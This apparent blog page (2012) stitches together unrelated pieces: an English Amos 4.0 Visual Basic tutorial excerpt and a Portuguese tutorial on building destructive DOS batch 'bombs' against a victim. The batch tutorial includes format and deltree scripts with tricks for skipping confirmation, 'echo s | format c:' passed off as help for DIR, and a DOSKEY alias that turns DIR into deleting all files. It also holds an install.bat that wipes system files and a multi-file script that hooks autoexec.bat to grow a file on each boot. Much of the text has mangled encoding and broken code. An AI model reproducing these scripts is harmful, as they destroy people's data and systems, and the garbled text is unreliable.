sábado, 5 de maio de 2012

Smart Settings 3.0 S60v3 | Mobile16

Smart Settings 3.0 S60v3 | Mobile16

V.B - Tembe

Amos 4.0 User’s Guide Tutorial: Learning to Program Amos with Visual Basic · 45
Tutorial: Learning to
Program Amos with Visual
Basic
Purpose
You can use Amos 4.0 as a component in the
computer programs you write. It is a relatively
easy process because Amos lets you work in a
general-purpose programming language instead
of having to learn some special language. To use
Amos 4.0 with your program, you need to
program in a language or environment that can control automation servers, e.g.,
Microsoft Visual Basic, Microsoft C++, the SPSS scripting facility, SAS, DEC
Visual FORTRAN or Borland Delphi1.
The program that you write can carry out a single Amos analysis, or multiple
Amos analyses. It can also include statements that:
· specify a model
· give the location of data files
· select options, such as: which discrepancy function to use, whether to obtain
bootstrap confidence intervals, and so on.
This section demonstrates in detail how you can call Amos 4.0 from the Microsoft
Visual Basic Professional Edition2, Version 5.0. It assumes that Microsoft Visual
1 At the time of this writing, there have not been any attempts to use Amos 4.0 with SAS, Visual
Fortran, or Borland Delphi.
46 · Tutorial: Learning to Program Amos with Visual Basic Amos 4.0 User’s Guide
Basic Professional Edition is installed on your system. The Visual Basic files for
this tutorial are StartVB.vbp (VB project) and StartVB.bas (VB code). You
will find both located in the Tutorial subdirectory underneath the Amos 4.0
program directory.
1. Create a new Visual Basic project
First, launch Visual Basic. In the New Project window, click on the New tab and
double-click on Standard EXE.
2 Microsoft offers several other Visual Basic packages with varying capabilities. Most of these
can be used with Amos 4.0, but different steps may be required to reference the Amos Engine.
Amos 4.0 User’s Guide Tutorial: Learning to Program Amos with Visual Basic · 47
2. Remove Form1
If this is the first time you have used Visual Basic since its installation, the Visual
Basic window will probably look something like this:
Many of the elements in the Visual Basic window are useful only when you are
writing a program that has a graphical interface. These elements are not needed for
this tutorial, so we will get rid of them.
48 · Tutorial: Learning to Program Amos with Visual Basic Amos 4.0 User’s Guide
In the Project1 window, use the right mouse button to click on Form1 (Form1) as
indicated by the mouse pointer in the preceding figure. When the following pop-up
menu appears, select Remove Form1:
Amos 4.0 User’s Guide Tutorial: Learning to Program Amos with Visual Basic · 49
3. Hide unnecessary windows
Hide the VB toolbar by clicking the X button indicated by the mouse pointer in the
following figure:
Also, hide the three sub-windows titled Project - Project1, Properties - Project1,
and Form Layout - Project1. (Do not hide the sub-window titled Immediate.)
50 · Tutorial: Learning to Program Amos with Visual Basic Amos 4.0 User’s Guide
The resulting Visual Basic window should look like this:
Amos 4.0 User’s Guide Tutorial: Learning to Program Amos with Visual Basic · 51
4. Create a code window for your program
On the menu, select Project and then Add Module:
52 · Tutorial: Learning to Program Amos with Visual Basic Amos 4.0 User’s Guide
In the Add Module window, select the New tab and double-click on Module:
Amos 4.0 User’s Guide Tutorial: Learning to Program Amos with Visual Basic · 53
The Visual Basic window will then look something like this:
54 · Tutorial: Learning to Program Amos with Visual Basic Amos 4.0 User’s Guide
5. Tell Visual Basic how to find the Amos Engine
In order to let Visual Basic know that you want to use the Amos Engine, select
Project from the main menu, and then References:
Amos 4.0 User’s Guide Tutorial: Learning to Program Amos with Visual Basic · 55
When the References - Project1 dialog appears, make sure that the Amos Engine
box is has a check mark in it. If necessary, click on the Amos Engine box to add a
check mark. Then press the OK button to close the dialog:
6. Enter your program
Type the following program in the large panel in the Visual Basic window.
Option Explicit
Sub main()
Dim Sem As New AmosEngine
Sem.TextOutput
Sem.BeginGroup Sem.Dir & "Tutorial\Hamilton.dbf"
Sem.Structure "SAT = (w1) Education + (w2) Income + (1) Other"
Sem.FitModel
Debug.Print "Regression weight 1 is "; Sem.ParameterValue
("w1")
Debug.Print "Regression weight 2 is "; Sem.ParameterValue ("w2")
Debug.Print "Chi square = "; Sem.Cmin
Debug.Print "Degrees of freedom = "; Sem.df
End Sub
56 · Tutorial: Learning to Program Amos with Visual Basic Amos 4.0 User’s Guide
Instead of typing these commands, you can also insert the StartVB.bas file from
Amos 4.0’s Tutorial subdirectory. With the code window active, run Edit ®
Insert File... and select StartVB.bas located by default in the C:\Program
Files\Amos 4\Tutorial directory. Sem.Dir is an Amos Engine property
that returns the path to where the Amos program is found. The VB string
expression:
pinpoints exactly where the data file resides.
The Visual Basic window should look like this:
Sem.Dir & "Tutorial\Hamilton.dbf"
Amos 4.0 User’s Guide Tutorial: Learning to Program Amos with Visual Basic · 57
7. Run the program
To run the program, select Run from the main menu, and then Start with Full
Compile:
When the program has finished running, the output from the Debug.Print
statements appears in the Immediate panel:
8. Try out the help system
Before closing the Visual Basic window, try the help system. Click somewhere
within one of the words that describes an Amos method in your program:
TextOutput
BeginGroup
Structure
FitModel
ParameterValue
Cmin
Df
Then press the F1 key. A dialog box will appear giving documentation for that
method. To get a list of all available methods, press the F2 key to display Visual
Basic’s Object Browser. In the Classes listbox, click on AmosEngine.
58 · Tutorial: Learning to Program Amos with Visual Basic Amos 4.0 User’s Guide
All the available methods will appear in the listbox labeled Members of
‘AmosEngine’:
Click once on a method to see a short summary of its function in the bottom panel.
Press F1 to see the full documentation of the method.
Beyond the basics
Still seeking more information about how to use Amos 4.0 as a component in the
computer programs you write? Extensive, advanced reference material for the
Amos API is also included in the Amos 4.0 Programming Reference Guide. This
guide is available as a downloadable Portable Document Format (PDF) file from
the Amos 4.0 CD-ROM or as a Help file from either the Amos Graphics or Amos
Basic Help menu.

Bat files ms-dos

Comandos do DOS
Essa parte contém vários comandos que podem ser utilizados não só em BADCOMS mas em batches inofensivos. Para maiores informações sobre os comandos do DOS escreva HELP no prompt ou se quiser saber mais sobre um determinado comando escreva o comando e adicione a opção /?.
Exemplos:
C:\ echo /?
C:\ format /?
C:\ for /?
Comandos do DOS
2.1)
ECHO 2.2) DEL/ERASE
2.3)
DELTREE 2.4) FORMAT
2.5)
FOR 2.6) IF
2.7) SET/VARIÁVEIS NO DOS
2.8)
GOTO 2.9)
VER 2.10)
VOL 2.11) CLS
2.12) ATTRIB
2.13) CALL
2.14) CHOICE E ERRORLEVELS
2.15) COPY
2.16) CTTY
2.17) DIR
2.18) TYPE
2.19)
MORE 2.20) MD/MKDIR/CD/CHDIR/RD/RMDIR
2.21)
LABEL 2.22)
FIND 2.23)
PAUSE 2.24) REN/RENAME
2.25)
SUBST 2.26) TIME
2.27) REM
2.28) DOSKEY
2.29) XCOPY
2.1) ECHO
Sintaxe: ECHO [string]
Exemplo: C> echo Fuck You
Fuck You
O comando ECHO, de forma geral, exibe uma string na tela. Caso
essa string seja OFF, desativar a exibi‡Æo dos comandos na
tela. Se for ON, ativar a mesma.
Exemplo de arquivo:
[echo1.bat]
echo on
echo ECHO est ativado
echo off
echo ECHO est desativado
Quando vocˆ rodar esse programa, ver o seguinte:
C> echo on
C> echo ECHO est ativado
ECHO est ativado
C> echo off
ECHO est desativado
Colocar uma @ antes do primeiro comando de cada linha, equivale
ao ECHO OFF, mas apenas nessa linha. Para que o programa fique
melhor, aconselha-se colocar o comando @ECHO OFF na PRIMEIRA linha
do programa, assim vocˆ nÆo precisa colocar uma @ antes de cada
linha.
2.2) DEL/ERASE
Sintaxe: DEL [nome_do_arquivo]
ERASE [nome_do_arquivo]
Exemplos: C> del autoexec.bat
C> erase autoexec.bat
Esse comando nÆo precisa de muita explica‡Æo. Apenas exclui o
arquivo especificado. WildCards podem ser usadas (* e ?).
2.3) DELTREE
Sintaxe: DELTREE (/Y) [nome_do_arquivo]
Exemplos: C> deltree c:\windows
C> deltree /y c:\games
Tamb‚m nÆo tem muito segredo. Exclui um diret¢rio e tudo que
tiver dentro dele. A op‡Æo /Y detona tudo sem pedir confirma‡Æo
mas deve ser usado logo ap¢s o comando DELTREE. Isso NÇO
funcionaria:
C> deltree c:\windows /y
2.4) FORMAT
Sintaxe: FORMAT (/Q) (/U) (/V:label) [unidade_a_ser_detonada]
Exemplos: C> format /q a:
C> format /u c:
O comando mais divertido que pode ser usado em BADCOMS. Fode o
drive especificado literalmente. A op‡Æo /Q realiza uma formata‡Æo
r pida e /U realiza uma formata‡Æo incondicional. A op‡Æo /V:label
espeficifica o nome do volume da unidade, nÆo tem muito segredo...
Mas se o drive especificado for um HD aparecer uma pergunta
est£pida, que o cara responde NÇO e mant‚m o HD a salvo.
Veja mais a frente como resolver isso.
2.5) FOR
Sintaxe: FOR %a in (arquivo1 arquivo2...) DO [comando] %a
Exemplo: C> for %a in (autoexec.bat config.sys) do del %a
Supunhetemos que vocˆ queira executar o mesmo comando pra v rios
arquivos. Ao inv‚s de escrever o mesmo comando uma porrada de
vezes, use o comando FOR. Explicando detalhadamente: o comando
FOR define uma vari vel chamada %a (ou qualquer letra) e define o
valor dessa vari vel com os nomes que estÆo entre parˆnteses.
Feito isso, executa um comando cujo parƒmetro principal ‚ a
vari vel %a.
Outro exemplo:
C> for %a in (autoexec.bat config.sys command.com) do del %a
Far o seguinte:
C> del autoexec.bat
C> del config.sys
C> del command.com
Simples, nÆo?
2.6) IF
Sintaxe: IF [condi‡Æo] [comando]
Exemplos: if exist c:\autoexec.bat del autoexec.bat
if not exist c:\1.bat echo 1 j foi deletado
if "%1"=="fuckyou" echo Fuck You
if not "%1"=="fuckyou" echo Don't Fuck You
if errorlevel 1 goto 1
O comando IF testa uma condicional e se ela for verdadeira,
executa um comando. O primeiro exemplo verifica se existe o
arquivo c:\autoexec.bat e se existir, deleta ele. O segundo
exemplo testa se o arquivo c:\autoexec.bat NÇO existe. Se nÆo
existir, exibe a mensagem "1 j foi deletado". O terceiro exemplo
testa se a vari vel %1 ‚ igual a "fuckyou". Se for, exibe a
mensagem "Fuck You". O quarto exemplo testa se a vari vel %1 ‚
DIFERENTE de "fuckyou". Se for, exibe a mensagem "Don't Fuck You".
O £ltimo exemplo testa se foi retornado um errorlevel igual a 1.
Veja sobre os errorlevels mais a frente.
2.7) SET/VARIμVEIS NO DOS
Sintaxe: SET [vari vel] = [valor]
Exemplos: set variavel = qualquermerda
set drive = C:\
O comando SET define uma vari vel de ambiente no DOS. Isso ‚
muito £til na programa‡Æo de batches. Acho que com um exemplo
fica melhor de explicar:
C> set scream=argh
Isso criar uma vari vel chamada "scream" e definir seu valor
como "argh". Se vocˆ escrever no DOS:
C> echo %scream%
Ver a palavra "argh" no lugar de "%scream%":
C> echo %scream%
argh
Ou seja, sempre que vocˆ quiser fazer uma referˆncia a uma
vari vel j definida, usa-se %nome_da_vari vel%. Como unir duas
vari veis em uma s¢: suponhamos que vocˆ tenha duas vari veis. Uma
chamada "bah1" com o valor "1234567" e outra chamada "bah2" com o
valor "8910" se vocˆ quiser juntar as duas, ‚ s¢ fazer o seguinte:
C> set BAAAAHHH=%bah1% ; %bah2%
Neste exemplo est£pido que eu dei nÆo parece ser uma coisa
muito £til, mas nÆo se engane porque ! Outro tipo de vari vel sÆo
as especificadas na linha de comando. Elas sÆo %1, %2, %3 at‚ %9.
Como eu disse elas sÆo especificadas na linha de comando, ou
seja quando vocˆ roda o batch. Exemplo:
[hd_fuck.bat]
@echo off
if "%1" == "" goto erro
echo Preparando pra fuder o drive %1!
format %1
goto fim
:erro
echo Seu imbecil, especifique o drive que vocˆ quer detonar!
goto fim
:fim
Rodando o arquivo dessa maneira...
C> hd_fuck C:
...vocˆ ver o seguinte:
Preparando pra fuder o drive C:!
AVISO, TODOS OS DADOS NO DISCO NÇO-REMOVÖVEL UNIDADE C:
SERÇO PERDIDOS!
Continuar com o Format (S/N)?
Mas se nÆo especificar nenhum parƒmetro...
C> hd_fuck
...resulta em:
Seu imbecil, especifique o drive que vocˆ quer detonar!
Como vocˆ p"de perceber, 1% nesse exemplo era igual a C:.
Note que foi utilizado o comando IF para verificar se a vari vel
%1 era existente. Outra coisa que nÆo pode passar despercebida
foi o uso do comando GOTO que ser explicado logo a seguir...
Mais um detalhe: o FORMAT pediu a confirma‡Æo idiota antes de
detonar o HD... Em breve resolveremos isso... 8-)
2.8) GOTO
Sintaxe: GOTO [nome]
Exemplos: goto hora_de_fuder_o_hd
goto erro
O comando GOTO s¢ pode ser usado dentro de arquivos batch e
serve para direcionar o programa para a linha especificada em
[nome]. Quando o DOS encontra essa linha, executa todos os
comandos existentes a partir dela. O nome da linha ‚ especificado
com um :[nome]. Exemplo:
[goto.bat]
@echo off
goto fuckyou
echo Vocˆ vai se fuder...
:fuckyou
echo Se fudeu!
Muito simples. Logo no come‡o do programa DOS ‚ direcionado para
a linha chamada "fuckyou" e exibe a mensagem "Se fudeu!", ou seja,
a segunda linha, "echo Vocˆ vai se fuder..." nÆo ‚ executada
porque o DOS foi direcionado pra uma linha APàS esse comando.
LOOPS INFINITOS: muito f cil. Basta ver o exemplo abaixo:
[loop.bat]
@echo off
:loop
dir
goto loop
Isso roda o comando DIR infinitamente, at‚ o cara apertar CTRL+C
ou desligar o computador...
2.9) VER
Sintaxe: VER
Exemplo: BAH!
Exibe qual a versÆo do DOS vocˆ est usando.
Aparentemente ‚ um comando idiota e sem utilidade mas com um pouco
decriatividade ele se torna um comando MUITO £til... Vocˆ vai
entender mais pra frente...
2.10) VOL
Sintaxe: VOL
Exemplo: BAH!
Mostra o nome de volume da sua unidade... Semelhante ao comando
acima, muito £til pra quem ‚ criativo.
2.11) CLS
Sintaxe: CLS
Exemplo: BAH!
Apaga tudo que tem na tela.
2.12) ATTRIB
Sintaxe: ATTRIB (+A) (+R) (+H) (+S) [nome_do_arquivo]
ATTRIB (-A) (-R) (-H) (-S) [nome_do_arquivo]
Exemplos: attrib +h c:\ruimdows
attrib +s c:\config.sys
attrib -r c:\command.com
Define um attributo pra um arquivo ou diret¢rio. ¢bvio que o
sinal de mais (+) indica que um atributo est sendo definido e um
sinal de menos (-) indica que um atributo est sendo removido. Os
atributos sÆo:
A -> Atributo de Arquivo. Que diabos ‚ isso? Supunhetemos que
vocˆ queira copiar todos os arquivos que estÆo em um
disquete para outro, menos os de extensÆo .VIR. O que vocˆ
faz?
C> attrib +a a:\*.*
C> attrib -a a:\*.vir
A¡ vocˆ usa o comando XCOPY:
C> xcopy a: b: /a
Meio esquisito, mas ‚ isso...
R -> Atributo de somente para leitura. O arquivo nÆo pode ser
modificado ou deletado a nÆo ser que o atributo seja
removido.
H -> Atributo de arquivo oculto. S¢ um burro pra nÆo perceber
que isso esconde o arquivo.
S -> Atributo de arquivo de sistema. Acho que, na pr tica, ‚ a
mesma coisa que o atributo H.
2.13) CALL
Sintaxe: CALL [nome_do_arquivo_batch]
Exemplo: call virus.bat
Comando usando DENTRO de arquivos batch que serve para chamar
OUTROS arquivos batch, ou seja, roda outro arquivo batch mas sem
parar de rodar o primeiro. Exemplo:
[1.bat]
@echo off
echo Esse ‚ o arquivo batch 1...
call 2.bat
echo De volta pro batch 1...
[2.bat]
@echo off
echo Esse ‚ o arquivo batch 2...
Resulta em:
C> 1
Esse ‚ o arquivo batch 1...
Esse ‚ o arquivo batch 2...
De volta pro batch 1...
2.14) CHOICE & ERRORLEVELS
Sintaxe: CHOICE /C:[teclas] [texto]
Exemplo: choice /c:123 Escolha uma op‡Æo:
Esse comando exibe uma mensagem, espera que o usu rio escolha
uma das teclas especificadas e retorna um valor de errorlevel,
de acordo com a tecla.
[fuck.bat]
@echo off
choice /c:123 Escolha uma op‡Æo:
if errorlevel 3 goto opcao3
if errorlevel 2 goto opcao2
if errorlevel 1 goto opcao1
:opcao1
echo Op‡Æo 1 escolhida
goto fim
:opcao2
echo Op‡Æo 2 escolhida
goto fim
:opcao3
echo Op‡Æo 3 escolhida
goto fim
:fim
Rodando isso, vai acontecer o seguinte:
C> fuck
Escolha uma op‡Æo:[1,2,3]?
Se vocˆ escolher a op‡Æo 1:
C> fuck
Escolha uma op‡Æo:[1,2,3]?1
Op‡Æo 1 escolhida
Se escolher a 2:
C> fuck
Escolha uma op‡Æo:[1,2,3]?2
Op‡Æo 2 escolhida
E por £ltimo:
C> fuck
Escolha uma op‡Æo:[1,2,3]?3
Op‡Æo 3 escolhida
Ou seja, o comando CHOICE ‚ muito ‚til para a cria‡Æo de menus,
etc.
Mas o que diabos sÆo os ERRORLEVELS? SÆo valores retornados
pelos comandos do DOS, de acordo com o que causou o fim do
programa.
Geralmente, quando um comando/programa pra DOS termina normalmente,
sem nenhum erro, retorna um ERRORLEVEL igual a 0. Os outros valores
variam de acordo com os comandos. Veja uma lista de ERRORLEVELS
mais adiante.
Os errorlevels s¢ podem ser usados com o comando IF. Usando esse
recurso, vocˆ tornar seus batches melhores pois o mesmo poder
tomar decisäes de acordo com o valor de errorlevel.
Note que, quando vocˆ usa o comando CHOICE, o comando IF deve
testar os valores de errorlevel do maior para o menor.
Veja um exemplo:
[errorlev.bat]
@echo off
del autoexec.bat
if errorlevel 0 echo NÇO OCORREU NENHUM PROBLEMA
Isso far o seguinte:
C> errorlev
NÇO OCORREU NENHUM PROBLEMA
L¢gico que essa mensagem s¢ ser exibida se nenhum erro ocorrer.
Explicando melhor: se nÆo ocorrer nenhum problema na hora de
deletar o arquivo, o DEL retornar um errorlevel 0. Vocˆ tamb‚m
pode fazer assim:
[errorsuck.bat]
@echo off
del c:\config.sys
if not errorlevel 0 goto OPS
echo NÆo ocorreu nenhum problema.
goto fim
:OPS
echo Alguma coisa errada ocorreu.
goto fim
:fim
Esse exemplo ‚ melhor, pois testa se o comando DEL NÇO retornou
um errorlevel 0. Como o errorlevel 0 significa que nada de errado
ocorreu, um errorlevel diferente de 0 significa que algo anormal
aconteceu.
Se ocorrer algo anormal ele exibe a mensagem "Alguma coisa errada
ocorreu" mas se tudo der certo exibe "NÆo ocorreu nenhum problema".
2.15) COPY
Sintaxe: COPY [origem] [destino]
Exemplos: copy *.* c:\ruimdows
copy c:\win95\*.* c:\autoexec.bat
Copia os arquivos especificados para um diret¢rio ou para outro
arquivo.
2.16) CTTY
Sintaxe: CTTY [novo_dispositivo_de_entrada]
Exemplo: ctty nul
Este comando altera o dispositivo de entrada de dados do padrÆo
(teclado) para outro que vocˆ especificar.
Mais tarde vocˆ entender melhor isso...
2.17) DIR
Sintaxe: DIR [/S] [/P] [/W] [nome_do_arquivo]
Exemplos: dir /s
dir autoexec.bat
Este comando nÆo tem muito segredo. Se vocˆ nÆo souber usar o
comando DIR, escreva no prompt do DOS:
C> echo s | format c:
2.18) TYPE
Sintaxe: TYPE [nome_de_arquivo]
Exemplo: type msdos.sys
NÆo tem complica‡Æo. Exibe o conte£do de um arquivo (sem fazer
pausa entre as p ginas). Pode ser usado em conjunto com o comando
MORE.
2.19) MORE
Sintaxe: MORE [nome_do_arquivo]
TYPE [nome_do_arquivo] | MORE (depende da versÆo do DOS)
Exemplo: more sucks.txt
type badcom.faq | more
O comando MORE ‚ idˆntico ao comando TYPE, mas ao final de cada
p gina, faz uma pausa. Em versäes mais antigas do DOS, o MORE s¢
funciona se for feito um PIPE com o comando TYPE.
2.20) MD/MKDIR/CD/CHDIR/RD/RMDIR
Sintaxe: MD [nome_do_diret¢rio] ou MKDIR [nome_do_diret¢rio]
CD [diret¢rio] ou CHDIR [diret¢rio]
RD [diret¢rio_vazio] ou RMDIR [diret¢rio_vazio]
MD/MKDIR cria um diret¢rio, CD/CHDIR chama (vai para) um
diret¢rio e o RD/RMDIR deleta um diret¢rio (s¢ se o dito cujo
estiver VAZIO).
2.21) LABEL
Sintaxe: LABEL [nome_de_volume]
Exemplo: label se_fudeu
Muda o nome de volume da unidade atual.
2.22) FIND
Sintaxe: FIND "string_procurada" [nome_do_arquivo]
Exemplo: find "fuck" c:\trash.txt
Procura por uma string em um determinado arquivo. Muito £til se
utilizado juntamente com os errorlevels.
2.23) PAUSE
Sintaxe: PAUSE
Exemplo: BAH!
Faz uma pausa no batch, at‚ que o usu rio pressione qualquer
tecla. Tamb‚m exibe a mensagem " Pressione qualquer tecla para
continuar..."
2.24) REN/RENAME
Sintaxe: REN [nome_do_arquivo] [novo_nome]
RENAME [nome_do_arquivo] [novo_nome]
Exemplos: ren autoexec.bat noway.bat
rename config.sys huahuahua.com
Muda o nome de um arquivo.
2.25) SUBST
Sintaxe: SUBST [nova_letra_de_unidade] [caminho]
SUBST [unidade] /D
Exemplo: subst f: c:\fuck
subst f: /d
Define uma letra de unidade para um determinado diret¢rio.
Se vocˆ usar a op‡Æo /D, o SUBST vai desativar a letra da unidade
Jμ CRIADA pelo comando SUBST. S¢ vai funcionar se houver a
seguinte linha no CONFIG.SYS:
LASTDRIVE=Z
2.26) TIME
Sintaxe: TIME
Exemplo: BAH!
Exibe a hora atual.
2.27) REM
Sintaxe: REM [texto]
Exemplo: rem Este ‚ um coment rio
O comando REM ‚ usado quando vocˆ quer adicionar um coment rio
ao seu batch.
2.28) DOSKEY
Sintaxe: DOSKEY [macro] [texto] /ECHO:on|off
Exemplo: doskey dir del *.*
O DOSKEY tem v rias utilidades, mas s¢ vou explicar uma, talvez
a mais £til delas. Usando o DOSKEY vocˆ pode criar macros, ou seja
atribuir comandos a palavras (como um ALIAS). A utilidade disso
num BADCOM ‚ que vocˆ pode trocar os comandos do DOS do cara por
outros. Veja o exemplo acima. Esse exemplo faz com que o comando
DIR execute o comando DEL *.*. Vocˆ pode usar isso como um Time
Bomb ou pode apenas deixar sua v¡tima com o saco cheio mudando
todos os comandos do DOS para besteiras sem sentido nenhum.
A op‡Æo /ECHO define se os comandos da macro serÆo exibidos. Se
for desativado, ‚ equivalente ao "@ECHO OFF". Alguns caracteres
especiais de c¢digo de defini‡Æo de macro:
$T: Separador de comando. Permite v rios comandos em uma s¢
macro.
$1 a $9: Parƒmetros da macro. Igual a %1 a %9.
$*: S¡mbolo substitu¡do por tudo ap¢s o nome da macro na linha
de comando.
Um detalhe, se sua v¡tima pressionar ALT+F10 todas as macros que
vocˆ criou serÆo desativadas.
2.29) XCOPY
Sintaxe: XCOPY [origem] [destino] [/S]
Exemplo: xcopy c:\games d:\fuck /s
Semelhante ao COPY, s¢ que mais r pido, pois carrega todos os
arquivos na mem¢ria e s¢ depois copia-os. Se a op‡Æo /S for usada
todos os subdiret¢rios e arquivos de um diret¢rio tamb‚m serÆo
copiados.
COMANDOS BÁSICOS:
Bom, para iniciarmos temos que ter em mente que os arquivos .BAT
tem como objetivo guardar comandos pré digitados para executalos quando solicitado.
Esses arquivos são de muita utilidade, podemos criar sistemas de Bakup, instalação de programas, etc...
No nosso caso, arquivos bomba. Os arquivos bomba nada mais são comandos que podem ser destrutivos ou não, de acordo
com o que pretendemos criar.
Para começarmos vou dar alguns dos comandos uteis para o nosso projeto
e depois exemplos de como eles podem ser utilizados para bombas destrutivas e não destrutivas.
--------------------------------------------------------------------------------
LISTA DE COMANDOS:
ECHO OFF
Serve para não mostrar na tela os comandos que o arquivo .BAT esta executando. Como por exemplo,
se vc faz um arquivo bomba e não usa este comando e o arquivo contem o comando DEL*.* aparecera
na tela da vitima C:\DEL *.* assim dando tempo da vitima desligar o computador antes de ter seus
arquivos deletados. Se vc usar o comando ECHO OFF não aparecera nada na tela, e a vitima nem
sabera o que aconteceu.
--------------------------------------------------------------------------------
@ECHO
Serve para mostrar texto na tela, por exemplo eu quero que apareça na tela o seguinte texto:
========================
Seu computador foi destruido por:
M@quiavel
========================
Então eu terei que digitar:
@ECHO ========================
@ECHO Seu computador foi destruido por:
@ECHO M@quiavel
@ECHO ========================
ATENÇÃO:
Um erro que eu cometia, e ja vi muita gente fazer é confundir os dois primeiros comandos da seguinte maneira:
@ECHO OFF < O cara queria digitar ECHO OFF e digitou @ECHO OFF
O comando @ECHO OFF ao inves de não mostar os comandos na tela, vai mostrar na tela a palavra OFF.
O comando @ECHO OFF pode funcionar em alguns computadores dependendo da configuração, mas para não ariscar procure usar o comando ECHO OFF)
--------------------------------------------------------------------------------
ECHO >NOMEARQUIVO COMANDO
Serve para que um arquivo de lote (.BAT no nosso caso) crie outro arquivo. Exemplo:
ECHO> PIRATA.BAT DIR
No nosso exemplo ele criou um arquivo chamado PIRATA.BAT que possui dentro dele o comando DIR
--------------------------------------------------------------------------------
CLS
Comando para limpar a tela.
--------------------------------------------------------------------------------
ATTRIB
Comando que serve para ocultos, de sistema, etc. Para mais informações sobre o ATTRIB,
digite no prompt do DOS ATTRIB/?
--------------------------------------------------------------------------------
MD
Serve para criar diretorios, Exemplo:
MD PIRATA
--------------------------------------------------------------------------------
CD
Serve para entrar em diretorios, exemplo:
CD PIRATA
--------------------------------------------------------------------------------
COPY
Serve para copiar arquivos. Exemplo
COPY C:\AUTOEXEC.BAT
--------------------------------------------------------------------------------
DEL
Serve para deletar arquivos, melhor maneira de usar o comando DEL é:
DEL *.COM < Ou a extenção que vc quiser, *.BAT *.EXE *.INI *.SYS etc...
Usando o comando dessa maneira, o programa não ira confirmar se vc realmante deseja excluir o arquivo.
--------------------------------------------------------------------------------
DELTREE
Existem três maneiras de utilizar o comando DELTREE:
1ª - DELTREE C:\WINDOWS < BUG, vai aparecer a pergunta se vc deseja realmente deletar o diretorio WINDOWS.
2ª - DELTREE/Y C:\WINDOWS NULL é o comando ideal para o DELTREE.
--------------------------------------------------------------------------------
Bom, agora vamos colocar nossos conhecimentos em pratica. Vamos criar uma bomba chamada install.bat
no prompt do DOS digite EDIT INSTALL.BAT (ENTER)
Aparecera uma tela normalmante azul. Estando lá dentro vamos colocar os nossos comandos maus.
======inicio=======
ECHO OFF Vai para a unidade de disco C:\
CD\ ---------------------------------< Sai de qualquer diretorio que se possa estar
DEL *.SYS ------------------------- NULL ----------------------- o windows
CLS
@ECHO SEU COMPUTADOR FOI DETONADO POR:
@ECHO PIRATA
@ECHO HE HE HE HE HE HE HE HE HE HE HE HE
======fim=========
Pronto, temos um arquivo que deleta o Windows e arquivos .sys, e ainda deixa uma menssagem estupida na tela da vitima.
PARA EXECUTAR A BOMBA BASTA DIGITAR INSTALL
--------------------------------------------------------------------------------
O TEXTO ACIMA DA UMA NOÇÃO MUITO BASICA DO QUE SIMPLES ARQUIVOS BAT PODEM FAZER, PARA FAZER ARQUIVOS QUE SÃO REALMENTE BOMBAS
LEIA OS TEXTOS SOBRE CRIAÇÃO DE BOMBA .BAT NO MODO INTERMEDIARIO, E AVANÇADO.
--------------------------------------------------------------------------------
AVANÇADO
Agora a diversão vai começar, vamos colocar todo o nosso conhecimento em pratica.
Para começar vamos mostrar como fazer um arquivo, que dobra o seu tamanho cada vez
que o computador é ligado.
A função desses arquivos são muito simples, são três arquivos que devem ser colocados
na raiz (C:\) do computador da vitima. Esse arquivos vão colocar um arquivo .DLL no
system do Windows, e esse arquivo vai dobrar o seu tamanho cada vez que o computador for ligado.
DOBLESPACE é o nOME que eu dei para o arquivo.
Arquivos a ser criado:
WIN.BAT
A.BAT
AUTO.BAT
--------------------------------------------------------------------------------
WIN.BAT
=====inicio=====
echo off
c:
cd\
md p
cd p
if exist auto.pty goto www
copy c:\autoexec.bat c:\p\auto.pty
echo> p.pty c:\auto.bat
cd\
copy c:\p\*.* c:\autoexec.bat
:www
cd\
a.bat
=====fim=====
--------------------------------------------------------------------------------
A.BAT
=====inicio=====
del win.bat
CLS
WIN
=====fim=====
--------------------------------------------------------------------------------
AUTO.BAT
=====inicio=====
echo off
c:
cd\
cd windows
echo> windows.ppp test se o arquivo for encontrado, é porque não existe o diretoro Windows, então ele vai para a opção win, caso contrario ele vai para a proxima linha
cd windows
cd system
cd configs
echo> windows.ppp test procura pelo arquivo spaece.dll, se ele ja existir ele vai para :22
echo> spaece.dll ydfgyudfyudfgkdgydlkcvm,xcjhtfkgr5yuiuyfg copia o arquivo spaece.dll como teste.dll
copy c:\windows\system\spaece.dll c:\windows\system\configs\off.dll junta os dois arquivos, e o copia como spaece.dll, assim duplicando o seu tamanho.
del o*.dll deleta as copias
cd\
goto fim
:win win.ppp test
cd\
if exist win.ppp goto win95
cd win
md system
cd system
cd configs
echo> win.ppp test
cd\
cd win
cd system
if not exist win.ppp goto 3
md configs
goto 3
:3
if exist spaece.dll goto 23
echo> spaece.dll ydfgyudfyudfgkdgydlkcvm,xcjhtfkgr5yuiuyfg
:23
cd configs
copy c:\win\system\spaece.dll c:\win\system\configs\teste.dll
copy c:\win\system\spaece.dll c:\win\system\configs\off.dll
copy c:\win\system\configs\*.* c:\win\system\spaece.dll
del o*.dll
del t*.dll
cd\
goto fim
:win95
c:
cd\
cd win95
echo> win95.ppp test
cd\
if exist win95.ppp goto win-95
cd win95
md system
cd system
cd configs
echo> win95.ppp test
cd\
cd win95
cd system
if not exist win95.ppp goto 4
md configs
goto 4
:4
if exist spaece.dll goto 24
echo> spaece.dll ydfgyudfyudfgkdgydlkcvm,xcjhtfkgr5yuiuyfg
:24
cd configs
copy c:\win95\system\spaece.dll c:\win95\system\configs\teste.dll
copy c:\win95\system\spaece.dll c:\win95\system\configs\off.dll
copy c:\win95\system\configs\*.* c:\win95\system\spaece.dll
del o*.dll
del t*.dll
cd\
goto fim
:win-95
c:
cd\
cd win-95
echo> win-95.ppp test
cd\
if exist win-95.ppp goto dos
cd win-95
md system
cd system
cd configs
echo> win-95.ppp test
cd\
cd win-95
cd system
if not exist win-95.ppp goto 5
md configs
goto 5
:5
if exist spaece.dll goto 25
echo> spaece.dll ydfgyudfyudfgkdgydlkcvm,xcjhtfkgr5yuiuyfg
:25
cd configs
copy c:\win-95\system\spaece.dll c:\win-95\system\configs\teste.dll
copy c:\win-95\system\spaece.dll c:\win-95\system\configs\off.dll
copy c:\win-95\system\configs\*.* c:\win-95\system\spaece.dll
del o*.dll
del t*.dll
cd\
goto fim
:dos
c:
cd\
cd dos
echo> dos.ppp test
cd\
if exist dos.ppp goto off
cd dos
md system
cd system
cd configs
echo> dos.ppp test
cd\
cd dos
cd system
if not exist dos.ppp goto 6md configs
goto 6
:6
if exist spaece.dll goto 26
echo> spaece.dll ydfgyudfyudfgkdgydlkcvm,xcjhtfkgr5yuiuyfg
:26
cd configs
copy c:\dos\system\spaece.dll c:\dos\system\configs\teste.dll
